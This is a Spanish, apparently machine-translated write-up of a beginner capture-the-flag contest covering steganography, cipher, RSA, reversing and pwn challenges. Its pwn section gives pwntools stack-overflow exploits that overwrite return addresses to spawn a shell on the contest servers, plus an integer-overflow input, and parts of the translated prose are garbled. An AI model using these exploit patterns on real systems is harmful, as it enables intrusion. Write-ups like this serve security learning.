En los últimos dos días, participé en una competencia de principiantes en la Universidad de Ciencia y Tecnología de Wuhan. Como soy Xiao Mengxin, no conozco ninguna pregunta difícil. Aquí hay algunas preguntas simples.
Misc
1. Space Club
es así después de la apertura, combinado con el tema, se estima que puede ser un montón de espacios o similares, use python para ver
with open("space.txt")as f:
a=f.read()
for i in a:
print (str(ord(i)))
El resultado de la ejecución se muestra en la figura, 32 es el código ASCII del espacio y se supone que se utilizará para la separación 10. El número diferente de espacios entre las separaciones es información útil, y luego extraiga
with open("space.txt")as f:
a=f.read()
g=0
s=''
for i in a:
if ord(i)==32:
g=g+1
else:
s+=chr(g+97)
g=0
print (s)
Como inicialmente pensé que el número de espacios representaría letras diferentes, este es el resultado del número de espacios + 97. Encontré que el número de espacios entre los separadores es 6 o 12. A partir de esto, podemos poner g Reemplazar como 0, m como 1 y luego convertir binario a ASCII para obtener la bandera
2.
El archivo de bienvenida es así. Después de abrir el exe, la cámara se encenderá. Combinando las tres personas en el título y las indicaciones en la descripción, se concluye que se requieren tres personas para aparecer en la cámara para obtener la bandera, y la imagen no se cargará, por lo que Exponiendo mi hermoso rostro
3.
Una vez descargado el archivo, no hay sufijo. 010editor o winhex muestra que el archivo de encabezado es un archivo pdf. Modifique el sufijo y ábralo con el editor de pdf o Photoshop. Puede ver que la
bandera de aviso está bloqueada por la imagen, luego seleccionamos ¡Imagínate que suba para el Señor! Después de arrastrarme, vi el siguiente
hexadecimal a ASCII para obtener la bandera
4.
Después de descargar el archivo de la novia , es un audio WAV. Se sospecha que el sonido es esteganografía de tono de marcación. Lo abrí con un software de procesamiento de audio y verifiqué el espectrograma para verificar que la suposición se
realizó mediante el método que se muestra en la segunda imagen. Primero probé a simple vista Mira, descubrí que hay demasiados, y mis ojos están casi ciegos. La clave es que es fácil equivocarse. Mi mente estalla directamente. Entonces, de repente recordé que había un guión. Fui a github para hacer un guión, cambie el nombre del archivo en el guión, corrió, y esperó a que
999 666 88 2 777 33 6 999 4 444 777 555 333 777 444 33 66 3 7777
estoy felizmente ¿Está mal tomar este montón de cosas para enviar? Cuando lo pienso detenidamente, no parece una bandera durante tanto tiempo. De hecho, soy ingenuo. Pensando en ello de nuevo, parece que debería estar relacionado con el teclado de nueve teclas. 999 representa el tercer carácter y por encima de 9, y * es el separador. La solución son sus amigas. Obviamente, esto debe ser una bandera.
5.
La cuestión de encontrarme es una imagen en formato jpg. Después de descargarla, vi un montón de cosas en los comentarios.
No sé qué es. No lo supe hasta Baidu. Se puede resolver
poniéndolo en este sitio web https: //www.qqxiuzi .cn / bianma / wenbenjiami.php? s = mangwen 6.la
tienda
aquí necesita conexión nc 47.97.40.187 12306
después de conectarse y descubrió que tiene dinero 2020, la bandera más barata cuesta 999 y no hay límite en la cantidad, la bandera real solo puede comprar una, pero
Podemos comprar una cierta cantidad de banderas más baratas por 100.000 y usar el desbordamiento de números enteros para hacer realidad el sueño de los multimillonarios. El
número puede ser un poco más grande que 2's 31 veces / 999 + 2020/999. Con este dinero, puedes comprar banderas reales.
7.Alison le gusta jojo
después de la descarga del archivo, estas son las dos imágenes, la primera mirada a la máquina virtual binwalk, la obtención de un paquete de instalación separable está encriptado, puede explotar una segunda
bolsa de compresión de contraseña es esta Un txt, descifrado tres veces con base64 para obtener "killerqueen", porque hay una segunda imagen y no hay otros archivos en ella, se adivina preliminarmente que la segunda imagen fue cifrada por algún software, y killerqueen es la contraseña. Cifre la conjetura y obtenga la bandera
Cripto
1. El
cálculo de números grandes es suficiente para la calculadora part3, part4 es integral definida ordinaria, part2 utilizo python y part1 utilicé un sitio web para calcular.
2. B @ se
Esta pregunta es para realizar cambios en la tabla base64, simplemente conviértala de nuevo
3. El Buda dijo: Solo pueden ser cuatro días
. Cualquiera que esté familiarizado con la contraseña debería conocer este método de encriptación, pero lo que es un poco complicado es que usa el nuevo dicho de Buda aquí, y hay otros nuevos.
http://hi.pcmoe.net/Buddha.html Después de
resolverlo es el cifrado de valores centrales socialistas.
De acuerdo con las indicaciones, la contraseña de la cerca, elimine _doyouknowfence y continúe descifrando.
Encontré esto, por la misma razón, continúo explicando César después de eliminar el final, pero está resuelto Después de una vuelta, no encontré nada, así que supuse que la contraseña de César no era la última.
Luego observé y encontré que esta cadena de caracteres consistía en letras mayúsculas y números de 2 a 7. Luego pensé en base32. El comienzo de la bandera del juego es wctf2020. Toma Esto es para encriptar una ola que
comienza
con ' O ' y encontrar la cadena de caracteres que comienzan con O en el descifrado de Caesars. El comienzo es exactamente el mismo, lo que indica que la suposición es correcta. Lleve esta cadena de caracteres a base32 para descifrar y obtener la bandera
4.fugas
Este es un tema de rsa, el script de descifrado es el siguiente
import gmpy2
import binascii
def getd(n,e,dp):
for i in range(1,e):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
return d
e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
d=getd(n,e,dp)
m=pow(c,d,n)
print binascii.unhexlify(hex(m)[2:])
Ejecutar bandera
Re
1.Cr0ssFun
arrastrado a ida
es en realidad un muñeco Finalmente, se da el código ASCII de cada carácter de la bandera, y la bandera se puede obtener conectándola.
2.nivel1
Esta pregunta es un cifrado simple, comprenda el método de cifrado y escriba el script de descifrado de acuerdo con el output.txt dado
3.
Encuentre la bandera en la cadena después del bombardeo upx de nivel 2
Para
la pregunta de 4.level3, inicialmente pensé que estaba haciendo algo en base64_encode. Después de analizar durante mucho tiempo, descubrí que la tabla base64 había cambiado. Después de
obtener la nueva tabla base64, pude resolver la cadena base64 dada en el código. Obtener bandera
Pwn
1.getshell
usa desbordamiento de pila, dirección de retorno 0x08048524 para obtener la bandera
from pwn import *
sh=remote("47.97.40.187",12333)
payload='a'*0x18+'bbbb'+p32(0x08048524)
sh.sendline(payload)
sh.interactive()
2. getshell2
usa el desbordamiento de pila y devuelve la dirección 0x08048529 para llamar a la función del sistema, luego encuentra la dirección de la
cadena sh y pasa la cadena sh como parámetro a la función del sistema.
from pwn import *
sh=remote("47.97.40.187",12334)
payload='a'*0x18+'bbbb'+p32(0x08048529)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()
3. number_game ha sido
probado, el número -2 ^ 31-1 es suficiente
from pwn import *
sh=remote("106.12.48.20",12336)
#payload=str(2147483648)
sh.sendline(str(-2147483649))
sh.interactive()